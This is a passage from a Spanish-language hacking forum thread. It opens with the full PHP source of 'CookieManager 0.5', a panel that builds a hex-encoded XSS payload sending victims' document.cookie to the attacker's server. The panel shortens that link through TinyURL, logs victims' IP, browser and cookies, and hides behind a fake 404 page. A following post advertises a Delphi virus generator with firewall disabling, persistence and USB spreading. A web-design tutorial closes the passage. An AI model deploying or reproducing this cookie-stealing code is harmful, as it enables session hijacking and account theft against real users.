    [youtube=640,360]https://www.youtube.com/watch?v=AP-2bkeFjpc[/youtube]

    El codigo :

    Código (php) [Seleccionar]

    <?php

    // CookieManager 0.5
    // (C) Doddy Hackman 2015

    //Datos para el login

    $username "admin";
    $password "21232f297a57a5a743894a0e4a801fc3"//admin

    //

    //Datos para la DB

    $host  "localhost";
    $userw "root";
    $passw "";
    $db    "cookies";

    //


    // Functions

    function hex_encode($text)
    {
        
    $texto chunk_split(bin2hex($text), 2'%');
        return 
    $texto '%' substr($texto0strlen($texto) - 1);
    }

    function 
    parsear_cookie($leyendo)
    {
        
        
    $leyendo   str_replace("comment="""$leyendo);
        
    $leyendo   str_replace("Set-Cookie: """$leyendo);
        
    $contenido explode(";"$leyendo);
        
        
    $nombre       "";
        
    $valor_cookie "";
        
    $expires      "";
        
    $path         "";
        
    $domain       "";
        
    $secure       "false";
        
    $httponly     "false";
        
        foreach (
    $contenido as $valor) {
            
            if (
    preg_match("/expires=(.*)/"$valor$regex)) {
                
    $expires $regex[1];
            }
            
            elseif (
    preg_match("/path=(.*)/"$valor$regex)) {
                
    $path $regex[1];
            } elseif (
    preg_match("/domain=(.*)/"$valor$regex)) {
                
    $domain $regex[1];
            } elseif (
    preg_match("/secure=(.*)/"$valor$regex)) {
                
    $secure $regex[1];
            } elseif (
    preg_match("/httponly=(.*)/"$valor$regex)) {
                
    $httponly $regex[1];
            }
            
            else {
                
                if (
    preg_match("/(.*)=(.*)/"$valor$regex)) {
                    
    $nombre       $regex[1];
                    
    $valor_cookie $regex[2];
                }
                
            }
            
        }
        
        return array(
            
    $nombre,
            
    $valor_cookie,
            
    $expires,
            
    $path,
            
    $domain,
            
    $secure,
            
    $httponly
        
    );
        
    }

    function 
    ver_cookies_de_pagina($pagina)
    {
        
    $cookies "";
        if (!
    function_exists('curl_exec')) {
            
    $options = array(
                
    'http' => array(
                    
    'user_agent' => 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0'
                
    )
            );
            
    $context stream_context_create($options);
            
    file_get_contents($pagina);
            foreach (
    $http_response_header as $valores) {
                if (
    preg_match("/Set-Cookie/"$valores)) {
                    
    $valores str_replace("Set-Cookie:"""$valores);
                    
    $cookies $cookies $valores "<br>";
                }
            }
        } else {
            
    $nave curl_init($pagina);
            
    curl_setopt($naveCURLOPT_TIMEOUT5);
            
    curl_setopt($naveCURLOPT_RETURNTRANSFER1);
            
    curl_setopt($naveCURLOPT_USERAGENT"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0");
            
    curl_setopt($naveCURLOPT_HEADER1);
            
    curl_setopt($naveCURLOPT_NOBODY1);
            
    $contenido curl_exec($nave);
            
    curl_close($nave);
            
    $leyendo explode("\n"trim($contenido));
            
            foreach (
    $leyendo as $valores) {
                if (
    preg_match("/Set-Cookie/"$valores)) {
                    
    $valores str_replace("Set-Cookie:"""$valores);
                    
    $cookies $cookies $valores "<br>";
                }
            }
        }
        return 
    $cookies;
    }

    function 
    toma($target)
    {
        
    $code "";
        if (
    function_exists('curl_exec')) {
            
    $nave curl_init($target);
            
    curl_setopt($naveCURLOPT_USERAGENT'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0');
            
    curl_setopt($naveCURLOPT_TIMEOUT5);
            
    curl_setopt($naveCURLOPT_RETURNTRANSFERtrue);
            
    $code curl_exec($nave);
        } else {
            
    $options = array(
                
    'http' => array(
                    
    'user_agent' => 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0'
                
    )
            );
            
    $context stream_context_create($options);
            
    $code    file_get_contents($target);
        }
        return 
    $code;
    }

    //

    error_reporting(0);

    mysql_connect($host$userw$passw);
    mysql_select_db($db);

    if (isset(
    $_GET['id'])) {
        
        if (empty(
    $_GET['id'])) {
            
    error();
        }
        
        
    $dia mysql_real_escape_string(date("d.m.Y"));
        
    $ip  mysql_real_escape_string($_SERVER["REMOTE_ADDR"]);
        
        if (
    $ip == "::1") {
            
    $ip "127.0.0.1";
        }
        
        
    $info mysql_real_escape_string($_SERVER["HTTP_USER_AGENT"]);
        
    $ref  mysql_real_escape_string($_SERVER["HTTP_REFERER"]);
        
        
    $cookie mysql_real_escape_string($_GET['id']);
        
        
    mysql_query("INSERT INTO todo(id,fecha,ip,info,cookie) values(NULL,'$dia','$ip','$info','$cookie')");
        
        
    header("Location:http://www.google.com.ar");
        
    }

    elseif (isset(
    $_COOKIE['portal'])) {
        
        
    $st base64_decode($_COOKIE['portal']);
        
        
    $plit explode("@"$st);
        
    $user $plit[0];
        
    $pass $plit[1];
        
        if (
    $user == $username and $pass == $password) {
            
            if (isset(
    $_POST['makecookies'])) {
                
    //setcookie($_POST['name_cookie'],$_POST['value_cookie'],$_POST['expire_cookie'],$_POST['path_cookie'],$_POST['domain_cookie'],$_POST['secure_cookie'],$_POST['httponline_cookie'])) {
                
                
    if (setcookie($_POST['name_cookie'], $_POST['value_cookie'], time() + 7200$_POST['path_cookie'], $_POST['domain_cookie'])) {
                    echo 
    "<script>alert('Cookies Maked');</script>";
                } else {
                    echo 
    "<script>alert('Error making Cookie');</script>";
                }
            }
            
            echo 
    "<title>CookieManager 0.3</title>";
            
            echo 
    "<STYLE type=text/css>

    body,a:link {
    background-color: #000000;
    color:orange;
    Courier New;
    cursor:crosshair;
    font-size: small;
    }

    input,table.outset,table.bord,table,textarea,select,fieldset,td,tr {
    font: normal 10px Verdana, Arial, Helvetica,
    sans-serif;
    background-color:black;
    color:orange; 
    border: solid 1px orange;
    border-color:orange
    }

    a:link,a:visited,a:active {
    color: orange;
    font: normal 10px Verdana, Arial, Helvetica,
    sans-serif;
    text-decoration: none;
    }

    </style>
    "
    ;
            
            
    $edit_name       "";
            
    $edit_value      "";
            
    $edit_expire     "";
            
    $edit_path       "";
            
    $edit_domain     "";
            
    $edit_secure     "";
            
    $edit_httponline "";
            
            if (isset(
    $_POST['instalar'])) {
                
                
    $todo "create table todo (
    id int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
    fecha TEXT NOT NULL,
    ip TEXT NOT NULL,
    info TEXT NOT NULL,
    cookie TEXT NOT NULL,
    PRIMARY KEY (id));
    "
    ;
                
                if (
    mysql_query($todo)) {
                    echo 
    "<script>alert('Installed');</script>";
                } else {
                    echo 
    "<script>alert('Error');</script>";
                }
            }
            
            if (
    mysql_num_rows(mysql_query("show tables like 'todo'"))) {
                
                
    //
                
                
    if (isset($_GET['del'])) {
                    if (
    is_numeric($_GET['del'])) {
                        if (@
    mysql_query("delete from todo where id='" $_GET['del'] . "'")) {
                            echo 
    "<script>alert('Deleted');</script>";
                        } else {
                            echo 
    "<script>alert('Error');</script>";
                        }
                    }
                }
                
                echo 
    "<center>";
                echo 
    "<br><h1>CookieManager</h1><br>";
                
                
                
    // Cookies Found
                
                
                
    $re  mysql_query("select * from todo order by id ASC");
                
    $con mysql_num_rows($re);
                
                if (
    $con == 0) {
                    echo 
    "<script>alert('Cookies not found');</script>";
                } else {
                    
                    echo 
    "<table border=1 width=1100><td width=1100><center><h2>Cookies Found : $con</h2></center></table>";
                    echo 
    "<table border=1 width=1100>";
                    echo 
    "<td><b>ID</b></td><td><b>Date</b></td><td><b>IP</b></td><td><b>Data</b></td><td><b>Cookie</b></td><td><b>Name</b></td><td><b>Value</b></td><td><b>Option</b></td><tr>";
                    
                    while (
    $ver mysql_fetch_array($re)) {
                        
    $cookies_view $ver[4];
                        list(
    $nombre$valor_cookie$expires$path$domain$secure$httponly) = parsear_cookie($cookies_view);
                        
                        echo 
    "<td>" htmlentities($ver[0]) . "</td><td>" htmlentities($ver[1]) . "</td><td>" htmlentities($ver[2]) . "</td><td>" htmlentities($ver[3]) . "</td>";
                        echo 
    "<td>" htmlentities($cookies_view) . "</td><td>" htmlentities($nombre) . "</td><td>" htmlentities($valor_cookie) . "</td><td><a href=?del=" htmlentities($ver[0]) . ">Del</a></td><tr>";
                        
                    }
                    
                    echo 
    "</table>";
                    
                }
                
                
    //
                
                // Form para target
                
                
    echo "
    <form action='' method=POST>
    <center><br><table border=1>
    <td><center><h2>Enter Target</h2></center></td><tr>
    <td><input type=text size=50 name=target value='http://localhost/dhlabs/xss/index.php?msg='=></td><tr>
    <td><input type=submit name=getcookies style='height: 25px; width: 100px' value='Get Cookies'><input type=submit name=generateurl style='height: 25px; width: 100px' value=Generate URL></td>
    </table></center>
    </form>

    "
    ;
                
                
    // URLS
                
                
    if (isset($_POST['generateurl'])) {
                    echo 
    "<br><table border=1>
    <td><center><h2>URL Generated</h2></center></td><tr>
    <td><textarea cols=50 name=code readonly>\n"
    ;
                    
    $script         hex_encode("<script>document.location='http://" $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] . "?id='+document.cookie;</script>");
                    
    //echo "http://tinyurl.com/api-create.php?url=".$_POST['target'].$script."\n";
                    
    $resultado_code toma("http://tinyurl.com/api-create.php?url=" $_POST['target'] . $script);
                    echo 
    htmlentities($resultado_code);
                    echo 
    "\n</textarea></td></table>";
                }
                
    //
                
                // Get Cookies 
                
                
    if (isset($_POST['getcookies'])) {
                    echo 
    "<br><table border=1>
    <td><center><h2>Console</h2></center></td><tr>
    <td><textarea cols=50 rows=10 name=code readonly>\n"
    ;
                    
    $resultado_code ver_cookies_de_pagina($_POST['target']);
                    echo 
    htmlentities($resultado_code);
                    echo 
    "\n</textarea></td></table>";
                    
                    
    $leyendo_esto split("\n"$resultado_code);
                    
                    list(
    $nombre$valor_cookie$expires$path$domain$secure$httponly) = parsear_cookie($leyendo_esto[0]);
                    
                    
    $edit_name       $nombre;
                    
    $edit_value      $valor_cookie;
                    
    $edit_expire     $expires;
                    
    $edit_path       $path;
                    
    $edit_domain     $domain;
                    
    $edit_secure     $secure;
                    
    $edit_httponline $httponly;
                    
                }
                
                
    //
                
                // Form para crear cookies
                
                
    echo "
    <form action='' method=POST>
    <center><br><table border=1>
    <td><center><h2>Cookies Maker</h2></center></td><tr>
    <td>Name : <input type=text size=50 name=name_cookie value='
    $edit_name'=></td><tr>
    <td>Value : <input type=text size=50 name=value_cookie value='
    $edit_value'=></td><tr>
    <td>Expires : <input type=text size=50 name=expire_cookie value='
    $edit_expire'=></td><tr>
    <td>Path : <input type=text size=50 name=path_cookie value='
    $edit_path'=></td><tr>
    <td>Domain : <input type=text size=50 name=domain_cookie value='
    $edit_domain'=></td><tr>
    <td>Secure : <input type=text size=50 name=secure_cookie value='
    $edit_secure'=></td><tr>
    <td>HTTP Online : <input type=text size=50 name=httponline_cookie value='
    $edit_httponline'=></td><tr>
    <td><input type=submit name=makecookies style='height: 25px; width: 100px' value='Make Cookies'></td>
    </table></center>
    </form>"
    ;
                
                
    //
                
                //
                
                
    echo "<br><h1>(C) Doddy Hackman 2015</h1><br><br>";
                
                
    //
                
            
    } else {
                echo 
    "
    <center><br><br>
    <form action='' method=POST>
    <h2>Deseas instalar CookieManager ?</h2><br><br>
    <input type=submit name=instalar value=Instalar>
    </form>"
    ;
            }
            exit(
    1);
        }
    } elseif (isset(
    $_POST['login'])) {
        if (
    $_POST['user'] == $username and md5($_POST['password']) == $password) {
            
    setcookie("portal"base64_encode($_POST['user'] . "@" md5($_POST['password'])));
            echo 
    "<script>alert('Welcome idiot');</script>";
            echo 
    '<meta http-equiv="refresh" content=0;URL=>';
        } else {
            echo 
    "<script>alert('Continued to participate');</script>";
        }
    } elseif (isset(
    $_GET['poraca'])) {
        
        echo 
    "

    <STYLE type='text/css'>

    body,input {
    background-color: #000000;
    color:orange;
    font-family:
    Courier New;
    cursor:crosshair;
    font-size: small;
    }
    </style>

    <h1><br><center><font color=green>Login</font></center></h1>
    <br><br><center>
    <form action='' method=POST>
    Username : <input type=text name=user><br>
    Password : <input type=password name=password><br><br>
    <input type=submit name=login value=Enter><br>
    </form>
    </center><br><br>"
    ;
    } else {
        
        
    error();
        
    }

    function 
    error()
    {
        echo 
    '<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
    <html><head>
    <title>404 Not Found</title>
    </head><body>
    <h1>Not Found</h1>
    <p>The requested URL was not found on this server.</p>
    </body></html>'
    ;
        exit(
    1);
    }


    mysql_close();

    // The End ?


    ?>



    Si quieren bajar el programa lo pueden hacer de aca :

    SourceForge.
    Github.
#73
Hola , esta vez les traigo un generador de virus que hice en Delphi con las siguientes opciones :

  • Desactivar Firewall
  • Apagar
  • Reiniciar
  • Cerrar sesion
  • Cambiar el texto de la taskbar
  • Ejecutar comandos
  • Desactivar regedit
  • Ocultar taskbar
  • Ocultar iconos
  • Volver loca la hora
  • Cargar cada vez que inicia Windows
  • Abrir lectora
  • Enviar pulsaciones de teclado con SendKeys
  • Matar proceso por PID
  • Cargar Word y hacer que escriba solo
  • Volver loco al mouse
  • Enviar mensajes con msgbox
  • Desactivar Taskmgr
  • Apagar el monitor
  • Realizar ruidos con Beep
  • USB Spread

    Incluye antidoto para las siguientes opciones :

  • Activar Firewall
  • Mostrar taskbar
  • Activar taskmgr
  • Borrar los rastros de USB Spread
  • Activar regedit
  • Borrar el startup creado
  • Restaurar el texto del taskbar

    Una imagen :



    Un video con ejemplos de uso :

    [youtube=640,360]https://www.youtube.com/watch?v=OsPOh1QhsOQ[/youtube]

    Si quieren bajar el programa lo pueden hacer de aca :

    SourceForge.
    Github.

    Eso seria todo.
#74
PHP / [Guia] Creacion de una pagina con BD
23 Enero 2015, 16:47 PM
[Titulo] : Creacion de una pagina con BD
[Autor] : Doddy Hackman

[Temario]

--========================================================--

0x00 : Introduccion
0x01 : Creacion del diseño de la pagina
0x02 : Creacion un un logo estilo GTA
0x03 : Creacion de un footer animado
0x04 : Creacion de botones en Fireworks
0x05 : Creacion de un menu desplegable
0x06 : Creacion un panel de administracion

--========================================================--

0x00 : Introduccion

En este manual vamos a ver como hacer una pagina web en PHP que tengo un sistema de noticias y un panel de administracion y para poder entender este manual necesitan conocer HTML,CSS y PHP por lo menos de forma basica para entender su contenido y tambien necesitan los siguientes programas :

* Adobe Dreamweaver
* Adobe Photoshop
* Adobe Fireworks
* XAMPP O Easy PHP
* Anim-FX
* GifCam
* Un pack de imagenes que pueden descargar aca que contiene los fondos que necesitan en el manual y los ultimos dos programas

Cuando descarguen el pack copian los datos a una carpeta llamada "images" para usar durante el manual.

0x01 : Creacion del diseño de la pagina

Ahora vamos a hacer un diseño como este :



Para eso vamos a tener que seguir los siguientes pasos :

Descargamos el pack que esta en la sección de "Requisitos" que contiene las imagenes necesarias para hacer la pagina de ejemplo.

Iniciamos el Dreamweaver y creamos una nueva pagina como PHP , una vez creado guardamos el proyecto con formato PHP , el directorio puede ser cualquiera.

Despues copiamos en el directorio de la pagina la carpeta "images" del pack en el directorio que eligieron para guardar la pagina.

Ahora cambiamos volvemos a Dreamweaver y cambiamos el titulo de la pagina "Documento sin título" por "Plantilla".

Despues agregamos <center> entre el inicio y final del <body> para centrar la pagina.

Ahora nos vamos a "Insertar -> Objectos de diseño -> Etiqueta DIV" y despues ponemos como nombre de clase "container" y le damos a "Nueva regla" , le damos al boton "aceptar" a la ventana que se nos aparece , como es la primera vez que usamos un div nos va a preguntar con que nombre guardamos el css , entonces ponganle "style.css" y guarden , despues de eso nos va a aparecer una ventana nueva , en esa ventana nos vamos a la categoria "Cuadro" y ponemos las dimensiones 1050x768 , 1050 de ancho y 768 de largo , le damos al boton "aceptar" y de nuevo aceptar a la ventana que se nos aparece , despues borren el texto por defecto del container.

Todo como en las imagenes :











Para crear el banner hagan los mismos pasos pero ponganle de nombre "banner" y las dimensiones "1024x100" , ponganle 3 px de margen a todos y de relleno pongan los valores "5,10,5,10" seguidos , tambien pongan la opcion "flotar" en alineacion izquierda.

Como en la imagen :



* Cambien el texto por defecto por "Banner"

Ahora para crear el contenido vamos a crear otro div con el nombre de "box" con las dimensiones 1024x500 , ponganle 3 px de margen a todos y de relleno tambien 5,10,5,10 , tambien pongan alineacion izquierda.

Como en la imagen :



* Borren el texto por defecto

Despues de insertar el box vamos a agregar otro div que sera el primer menu de categorias o lo que sea , de nombre pongan "menu" y tendra las dimensiones 200x500 , alineacion izquierda , margen 3 a todo y de relleno pongan 5,10,5,10

Como en la imagen :



* Cambien el texto por defecto por "Menu"

Ahora para crear lo mas importante que es el body vamos a tener que crear otro div nuevo con el nombre de "body" con las dimensiones 566x500 , alineacion izquierda , margen 3 a todo , y de relleno solo pongan el primero que seria 5 los demas lo dejan en blanco.

Como en la imagen :



* Cambien el texto por defecto por "Body"

Ahora para crear la parte de afiliados vamos a crear otro div con el nombre de "otromenu" , las dimensiones serian de 200x500 , alineacion izquierda , margen 3 para todo y de relleno 5,10,5,10

Como en la imagen :



* Cambien el texto por defecto por "OtroMenu"

Despues de eso ahora vamos al div final que es el footer , entonces creamos otro div con el nombre de "footer" con las dimensiones 1024x100 , margen 3 a todos menos al inferior que sera 10 , como relleno ponemos 5,10,5,10 y tambien le ponemos alineacion izquierda.

Como en la imagen :



* Cambien el texto por defecto por "Footer"

Ahora comenzamos con el codigo CSS , primero vamos a la pestaña de style.css y en la parte del codigo cambien en las etiquetas banner,box,menu,body,otromenu y footer el "height" por "min-height" esto nos va a ayudar que cuando el texto sobrepase el div , el div se alargara.

Despues agregamos el siguiente codigo al archivo CSS para poner una imagen de fondo :

Código (html4strict) [Seleccionar]

body {
    background:transparent url("images/fondo1.jpg") repeat scroll 0 0;
    color:white;
    font-family:helvetica,arial,sans-serif;
    font-size:14px;
    text-align:center;
}


En las etiquetas banner,box,footer agreguen el siguiente codigo para darle bordes a los div y una imagen de fondo :

Código (html4strict) [Seleccionar]

    background-image:url("images/fondo2.jpg");
    background-color:#000;
    border: 3px dashed #00FFFF;


Si hacemos F12 para ver como nos queda la pagina se nos deberia ver algo asi en el navegador :



Ahora agregamos el siguiente codigo al archivo CSS , para poder agregar el cuadro en el que estaran las categorias,posts y los afiliados :

Código (html4strict) [Seleccionar]

.categorias {
    color:white;
    border: 3px dashed #00FFFF;
    width:200px;
    word-wrap: break-word;
}

.post {
    background-image:url("images/fondo2.jpg");
    background-color:#000;
    color:white;
    border: 3px dashed #00FFFF;
    margin-bottom:10px;
    width:560px;
    word-wrap: break-word;
}



Despues de eso agregamos el siguiente codigo entre las etiquetas "menu" del archivo PHP que vendria a ser las "Categorias" :

Código (html4strict) [Seleccionar]

<div class="categorias">
<h3>Categorias</h3>
  Link1<br />
  Link2<br />
  Link3<br />
  Link4<br />
  Link5<br />
  Link6<br />
  Link7<br />
  Link8<br />
  Link9<br />
  Link10<br />
  <br />
</div>


Ahora vamos a por los afiliados , vamos a agregar el siguiente codigo entre las etiquetas "otromenu" en el codigo del archivo PHP :

Código (html4strict) [Seleccionar]

<div class="categorias">
<h3>Afiliados</h3>
  Link1<br />
  Link2<br />
  Link3<br />
  Link4<br />
  Link5<br />
  Link6<br />
  Link7<br />
  Link8<br />
  Link9<br />
  Link10<br />
  <br />
</div>


Despues vamos a agregar el siguiente codigo entre las etiquetas "body" para colocar noticias de ejemplo en el archivo PHP :

Código (html4strict) [Seleccionar]

<div class="post">
<h3>Noticia1</h3>
<p>Contenido de Noticia1</p>
</div>

<div class="post">
<h3>Noticia2</h3>
<p>Contenido de Noticia2</p>
</div>


<div class="post">
<h3>Noticia3</h3>
<p>Contenido de Noticia3</p>
</div>


<div class="post">
<h3>Noticia4</h3>
<p>Contenido de Noticia4</p>
</div>


<div class="post">
<h3>Noticia5</h3>
<p>Contenido de Noticia5</p>
</div>


<div class="post">
<h3>Noticia6</h3>
<p>Contenido de Noticia6</p>
</div>


Todo el codigo HTML del archivo PHP nos deberia haber quedado algo asi :

Código (html4strict) [Seleccionar]

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Plantilla</title>
<link href="style.css" rel="stylesheet" type="text/css" />
</head>

<body>
<center>
<div class="container">
  <div class="banner">Banner</div>
  <div class="box">
    <div class="menu">
    <div class="categorias">
<h3>Categorias</h3>
  Link1<br />
  Link2<br />
  Link3<br />
  Link4<br />
  Link5<br />
  Link6<br />
  Link7<br />
  Link8<br />
  Link9<br />
  Link10<br />
  <br />
</div>
    </div>
    <div class="body">
<div class="post">
<h3>Noticia1</h3>
<p>Contenido de Noticia1</p>
</div>

<div class="post">
<h3>Noticia2</h3>
<p>Contenido de Noticia2</p>
</div>


<div class="post">
<h3>Noticia3</h3>
<p>Contenido de Noticia3</p>
</div>


<div class="post">
<h3>Noticia4</h3>
<p>Contenido de Noticia4</p>
</div>


<div class="post">
<h3>Noticia5</h3>
<p>Contenido de Noticia5</p>
</div>


<div class="post">
<h3>Noticia6</h3>
<p>Contenido de Noticia6</p>
</div>
    </div>
    <div class="otromenu">
<div class="categorias">
<h3>Afiliados</h3>
  Link1<br />
  Link2<br />
  Link3<br />
  Link4<br />
  Link5<br />
  Link6<br />
  Link7<br />
  Link8<br />
  Link9<br />
  Link10<br />
  <br />
</div>
    </div>
  </div>
  <div class="footer">Footer</div>
</div>
</center>
</body>
</html>


Si hicieron todo bien la pagina les deberia haber quedado algo como esto :



Eso seria todo por ahora en el diseño.

0x02 : Creacion un logo estilo GTA

Para crear un logo estilo GTA en Photoshop deben instalar primero la fuente necesaria del siguiente link , para instalar la fuente descargado solo arrastran y copian los archivos del comprimido en el directorio "c:/windows/fonts de Windows" , despues de eso cargamos Photoshop y seguimos los siguiente pasos :

Creamos un proyecto con las dimensiones 995x108 y fondo transparente como en la siguiente imagen :



Una vez creado ponganle de fondo una imagen cualquiera en mi caso recorto una imagen con paint y lo copio en el proyecto quedando algo asi :



Despues hacemos click en la opcion "Texto horizontal" y seleccionamos el tipo de fuente "Pricedown" , tamaño de letra 80 pt y tipo de color #ffffcc , entonces una vez hecho esto agregamos el texto "Probando" con la herramienta "Texto horizontal" seleccionada , todo deberia verse algo asi :



Ahora hacemos click derecho en la capa llamada "PROBANDO" que es el texto creado y hacemos click en "Opciones de Fusion" , entonces activamos el estilo "Trazo" , de tamaño pongan 3 y pongan de color #000000 , entonces hagan click en "OK" y les deberia quedar algo asi :





Ahora tenemos que seleccionar la "Capa 1" para ir despues a "Edicion->Contornear" , ponemos de anchura 8px  y de color #ffffcc , le damos a "OK" y se deberia ver algo asi :





Como detalle final sino les gusta la posicion del texto pueden mover el texto al centro o como mas les guste , en mi caso queda asi :



Para terminar guardamos el proyecto como "png" y volvemos a la plantilla creada con Dream y nos vamos al div "banner" , borramos el texto "Banner" y insertamos el logo creado con Photoshop , para eso nos vamos a "Insertar->Imagen" y ponemos en la ventana que nos abre la ruta de la imagen.

Nos deberia quedar algo asi :



0x03 : Creacion de un footer animado

Cargamos el programa "Anim-FX" y llenamos los campos de la siguiente forma :

Text 1 : TEST 1
2 : TEST 2
3 : TEST 3
4 : TEST 4
5 : TEST 5

Tipo de efecto : flash

Tamaño de letra : 145
Color de letra : El color es celeste claro que vendria a ser 52FEFD

Se les deberia ver algo asi :



Ahora cargamos el GifCam y hacemos click en "Rec" sobre la zona de la animacion que quieren grabar.
Despues de terminar de grabar hacemos click en "Stop" y despues en "Save" para despues grabar el gif donde quieran

Una vez terminado todo nos vamos al proyecto de dream y en el div footer borramos el texto "Footer" y insertamos el gif animado , para eso nos vamos a "Insertar->Imagen" y ponemos en la ventana que nos abre la ruta del gif.

Se les deberia ver algo asi :



Eso seria todo el footer animado.

0x04 : Creacion de botones en Fireworks

Para crear un boton en Fireworks primer cargamos el programa y hacemos click en crear un nuevo "Documento de Fireworks (PNG)" con las dimensiones de 100x50 y de colo de lienzo "transparente".

Les deberia quedar asi :



Una vez hecho esto vamos al cuadro de herramientas y seleccionamos "Rectangulo redondeado" de la herramienta "Rectangulo" que se encuentra en la sección "Vector".
Ya seleccionado creamos un rectangulo redondeado en la zona de trabajo del color que quieran , para ponerle un estilo primero seleccionen el rectangulo creado y despues seleccionen el estilo que quieran en el cuadro de herramientas derecho llamado "Activos->Estilos" quedando todo asi : 







En mi caso elegi el estilo mas parecido a Tron y desactivo el filtro "Sombra" porque no me gustaba como quedaba , los filtros estan en la parte de abajo del programa y se puede ver cuando estan aplicando el estilo.

Como ven ya tenemos la forma del boton , ahora vamos a ponerle texto , entonces seleccionamos la herramienta "herramienta de texto" para escribir "click" sobre el boton redondeado con el color que quieran , pueden mover el texto de posicion con la "herramienta puntero" si no les gusta como quedo.

Les deberia quedar algo asi , yo en mi caso elegi letra blanca :



Para terminar vamos a "Archivo->Guardar como" y guardamos el boton con el nombre que quieran , el formato que tendra sera de PNG.

Para usarlo en la plantilla que creamos con Dream vamos al div "otromenu" , borramos los links de ejemplo y pongan el siguiente codigo entre los div :

Código (html4strict) [Seleccionar]

<a href="http://www.petardas.com"><img src="images/click.png"></a><br />


Recuerden que el boton creado tiene que estar en una carpeta llamada images sino nunca se va a encontrar el boton.

Cambien petardas por el link que quieran y cambien click.png por el verdadero nombre y ruta del boton.

En mi caso use tres veces esa linea de codigo como ejemplo.

Les deberia quedar algo asi :





Y en el navegador se deberia ver asi :



Eso seria todo con los botones.

0x05 : Creacion de un menu desplegable

Bueno para hacer esto volvemos a la plantilla inicial con Dream y  borramos los links de ejemplo que estan la sección de categorias justamente en el div "menu" y agregamos un <br/> antes del </div> y otro despues del <h3> de categorias ,  y para terminar insertamos un menu vertical de la siguiente forma :

Insertar->Spry->Barra de menus de Spry y en la ventana que aparece seleccionamos "Vertical".

Deberiamos ver algo asi :



Primero vamos hacer click en el menu creado y desde ahi cambiar los textos de todos los "elementos" por "test" , cambien tanto en la columna 1 o en la columna 2 si es que se desplega otro menu a partir de ese.

Despues para poner un vinculo solo lo hacen desde la casilla correspondiente que esta abajo de la de "texto" , en mi caso solo voy a poner un link y va a ser en el "test2"

Deberian ver algo asi :



Ahora vamos a tunear el menu con colores raros con las siguientes pasos :

Para empezar seleccionamos el menu vertical y desde la sección de "Estilos CSS" hacemos click en "Actual" para despues seleccionar y hacer doble click en "border" 



Ahora vamos a la categoria "Borde" , en Estilo seleccionamos "doble" para todos , ancho 3 para todos y de color #2EFEF7 para todos.

Deberia quedar asi :



Despues vamos a "Estilos CSS" y despues a "Todo" para despues desplegar SpryMenuBarVertical.css.

Seleccionamos y hacemos doble click en "ul.MenuBarVertical a" para ir a la categoria "Tipo" y cambiar el color de la letra por celeste claro , ahora nos vamos a la categoria "Fondo" ponemos el color de fondo negro y para terminar ponemos la imagen de fondo "normal.jpg" con la opcion de "no repetir"

Quedando asi :







Ahora hacemos lo mismo con el "ul" que esta abajo del anterior solo que la fuente la dejan como esta y  la imagen de fondo va ser el fondo "hover.jpg" con la opcion de "no repetir".







Como menu final se les deberia ver algo asi :



Eso seria todo en el menu.

0x06 : Creacion un panel de administracion

Para empezar activemos el XAMPP o Easy PHP , despues creen las siguientes clases PHP en el directorio donde esta la pagina :

login_now.php

Código (php) [Seleccionar]

<?php

/*

Class : LoginNow

(c) Doddy Hackman 2015

*/

class LoginNow
{
    
    private 
$host;
    private 
$db;
    private 
$user;
    private 
$pass;
    private 
$tabla;
    private 
$columna1;
    private 
$columna2;
    private 
$usereal;
    private 
$passreal;
    private 
$campouser;
    private 
$campopass;
    private 
$cookiename;
    
    public function 
campos($campouser$campopass)
    {
        if (isset(
$_POST[$campouser])) {
            
$this->campouser $_POST[$campouser];
            
$this->campopass md5($_POST[$campopass]);
        } else {
            
$this->campouser $campouser;
            
$this->campopass $campopass;
        }
    }
    
    public function 
database($host$dbuser$dbpass$db$tabla$columna1$columna2)
    {
        
mysql_connect($host$dbuser$dbpass);
        
mysql_select_db($db);
        
$que mysql_query("SELECT * FROM " $tabla);
        while (
$test mysql_fetch_array($que)) {
            if (
$this->campouser == $test[$columna1] and $this->campopass == $test[password]) {
                
$this->usereal  $test[$columna1];
                
$this->passreal $test[$columna2];
                return 
true;
            }
        }
    }
    
    public function 
secure($user$pass)
    {
        if (
$this->campouser == $user and $this->campopass == $pass) {
            
$this->usereal  $user;
            
$this->passreal $pass;
            return 
true;
        } else {
            return 
false;
        }
    }
    
    public function 
cookienow($cookiename)
    {
        
setcookie($cookienamebase64_encode($this->usereal "@" $this->passreal));
    }
    
}

?>



noticion.php

Código (php) [Seleccionar]

<?php

/*

PHP Class : Noticion 1.0

(C) Doddy Hackman 2015

*/


class noticion
{
    
    private 
$db;
    
    public function 
datos($host$user$pass$db)
    {
        
        
$this->db $db;
        
        if (@
mysql_connect($host$user$pass)) {
            if (@
mysql_select_db($db)) {
                return 
true;
            }
        }
    }
    
    public function 
crear_categoria($nuevacategoria)
    {
        
        
$todo1 "create table categoria_$nuevacategoria (
id int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
titulo VARCHAR(255) NOT NULL,
contenido TEXT NOT NULL,
fecha VARCHAR(255) NOT NULL,
PRIMARY KEY (id));
"
;
        
        
$todo2 "create table comentarios_$nuevacategoria (
id_noticia int(10),
id_comentario int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
mensaje TEXT NOT NULL,
apodo VARCHAR(255) NOT NULL,
fecha VARCHAR(255) NOT NULL,
PRIMARY KEY (id_comentario));
"
;
        
        if (@
mysql_query($todo1)) {
            if (@
mysql_query($todo2)) {
                return 
true;
            }
        }
        
    }
    
    public function 
eliminar_categoria($eliminarcategoria)
    {
        
        if (@
mysql_query("DROP TABLE categoria_$eliminarcategoria")) {
            if (@
mysql_query("DROP TABLE comentarios_$eliminarcategoria")) {
                return 
true;
            }
            
        }
    }
    
    
    public function 
eliminar($id$categoria)
    {
        if (
is_numeric($id)) {
